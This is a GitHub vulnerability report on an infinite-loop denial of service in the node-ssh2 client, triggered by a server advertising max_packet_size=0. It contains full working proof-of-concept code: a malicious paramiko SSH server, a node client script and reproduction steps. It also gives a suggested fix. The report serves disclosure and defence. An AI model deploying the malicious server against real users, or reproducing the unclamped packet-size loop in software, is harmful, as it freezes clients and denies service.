Skip to content

max_packet_size=0 channel-send infinite loop (post-auth DoS) — RFC 4254 §5.1 cluster #1504

Description

@afldl

node-ssh2 (mscdex/ssh2) max_packet_size=0 channel-send infinite loop

Identity

  • Target: node-ssh2 / mscdex/ssh2 (commit 318d447, current at time of report)
  • Vulnerable site: lib/Channel.js channel-data send loop (lines ~44-66 and ~159-177)
  • Class: CWE-835 (infinite loop) — the SSH max_packet_size=0 cluster (RFC 4254 §5.1 silent on 0)
  • Reachability: post-auth; a malicious SSH server advertises max_packet_size=0 in
    SSH_MSG_CHANNEL_OPEN_CONFIRMATION; the client wedges when it next writes channel data
  • Impact: client DoS — Node event loop pinned at ~100% CPU, connection/terminal freeze

Root cause

// lib/Channel.js (send loop)
const packetSize = outgoing.packetSize;          // stored raw from peer's OPEN_CONFIRMATION
while (len - p > 0 && window > 0) {
  let sliceLen = len - p;
  if (sliceLen > window)  sliceLen = window;
  if (sliceLen > packetSize) sliceLen = packetSize;   // no floor; packetSize=0 -> sliceLen=0
  ...                                              // send sliceLen bytes of CHANNEL_DATA
  p += sliceLen;                                  // p += 0
  window -= sliceLen;                             // window -= 0
}

With packetSize = 0 and window > 0, sliceLen is clamped to 0; p and window never change →
synchronous infinite loop emitting 0-length CHANNEL_DATA, pinning the Node event loop. No >= 1
floor is enforced on the peer-supplied packet size (contrast OpenSSH channels.c:3079,
dropbear common-channel.c:716, paramiko _sanitize_packet_size, Go x/crypto minPacketLength=9,
Maverick < 4096 reject, all of which defend).

Proof of concept

malicious_server.py (shared paramiko server, Transport.default_max_packet_size = 0) +
client.js (node-ssh2 client). The client connects, opens a shell channel, and writes 8 KiB.

$ bash repro.sh
[+] malicious server up on :2307 (advertises max_packet_size=0)
[+] running node-ssh2 client (timeout 8s; expect SIGTERM at wedge)
[client] writing 8 KiB of channel data -> send loop should spin (sliceLen=0)
[+] exit: timeout-killed (124) = client wedged in send loop = VULNERABLE

The client never reaches the "returned after write" line; timeout kills it at the wedge.

Impact

Post-auth, client-side DoS (connect to / be redirected to a malicious server). Low–Medium — same
class as the reported asyncssh/libssh/PuTTY/Twisted/SSHJ (all now fixed).

Suggested fix

Reject or clamp the peer's packet size on receipt, e.g. packetSize = Math.max(packetSize, 1) (or
reject SSH_MSG_CHANNEL_OPEN_CONFIRMATION with max_packet_size == 0), matching the defended impls.

Reproduction package

  • client.js — node-ssh2 client (npm install ssh2)
  • malicious_server.py — shared paramiko server (maxpkt=0)
  • repro.sh / output.txt

PoC source (client.js)

// node-ssh2 (mscdex/ssh2) max_packet_size=0 reproducer.
// Connects to malicious_server.py (which advertises max_packet_size=0 in
// CHANNEL_OPEN_CONFIRMATION), opens a session, and writes channel data.
// Once outgoing.packetSize == 0, Channel.js send loop computes
//   sliceLen = min(len-p, window, packetSize) = 0  -> p += 0, window -= 0
// and never advances -> synchronous infinite loop pinning the Node event loop.
//
// Run:  npm install ssh2   &&   node client.js [port]
const { Client } = require('ssh2');
const port = parseInt(process.argv[2] || '2300', 10);
const conn = new Client();
conn.on('ready', () => {
  conn.shell(false, (err, stream) => {
    if (err) { console.error(err); process.exit(2); }
    // server's OPEN_CONFIRMATION carried max_packet_size=0 -> outgoing.packetSize=0
    console.log('[client] channel opened; outgoing.packetSize =',
                stream._channel && stream._channel.outgoing && stream._channel.outgoing.packetSize);
    console.log('[client] writing 8 KiB of channel data -> send loop should spin (sliceLen=0)');
    stream.write(Buffer.alloc(8192, 0x58));   // <-- wedges here if vulnerable
    console.log('[client] returned after write -> NOT vulnerable (unexpected)');
    conn.end();
  });
});
conn.on('error', (e) => { console.error('[client] conn error:', e.message); });
conn.connect({ host: '127.0.0.1', port, username: 'x', password: 'x',
               readyTimeout: 8000 });

PoC source (malicious_server.py)

#!/usr/bin/env python3
# Malicious SSH server: real paramiko KEX/auth, but advertises max_packet_size=0.
# Requires: pip install paramiko
# Usage: python3 malicious_server.py <port> [authmode]   (authmode: pass|none)
import sys, time, socket, threading, warnings
warnings.filterwarnings("ignore")
import paramiko

PORT = int(sys.argv[1]) if len(sys.argv) > 1 else 2300
AUTHMODE = sys.argv[2] if len(sys.argv) > 2 else "pass"

class _AcceptAll(paramiko.ServerInterface):
    def get_allowed_auths(self, username): return "password,none"
    def check_auth_none(self, username):
        return paramiko.AUTH_SUCCESSFUL if AUTHMODE == "none" else paramiko.AUTH_FAILED
    def check_auth_password(self, username, password): return paramiko.AUTH_SUCCESSFUL
    def check_channel_request(self, kind, chanid): return paramiko.OPEN_SUCCEEDED
    def check_channel_shell_request(self, channel): return True
    def check_channel_exec_request(self, channel, command): return True
    def check_channel_pty_request(self, *a): return True

host_key = paramiko.RSAKey.generate(2048)
srv = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
srv.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
srv.bind(("127.0.0.1", PORT)); srv.listen(5)
print(f"[server] listening 127.0.0.1:{PORT} (advertises max_packet_size=0)", flush=True)
while True:
    conn, _ = srv.accept()
    t = paramiko.Transport(conn)
    t.add_server_key(host_key)
    t.default_max_packet_size = 0        # <-- weapon
    def run(tr=t):
        try: tr.start_server(server=_AcceptAll())
        except Exception as e: print("[server] ended:", e, flush=True)
        while tr.is_active(): time.sleep(0.5)
    threading.Thread(target=run, daemon=True).start()

Steps to reproduce:

  1. pip install paramiko and npm install ssh2
  2. python3 malicious_server.py 2307 pass &
  3. timeout 8 node client.js 2307 (client.js is inlined above)
  4. The client never returns from stream.write(...); timeout kills it (exit 124) = wedged = vulnerable.

Activity

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Projects

    No projects

      Milestone

      No milestone

      Relationships

      None yet

      Development

      No branches or pull requests

      Issue actions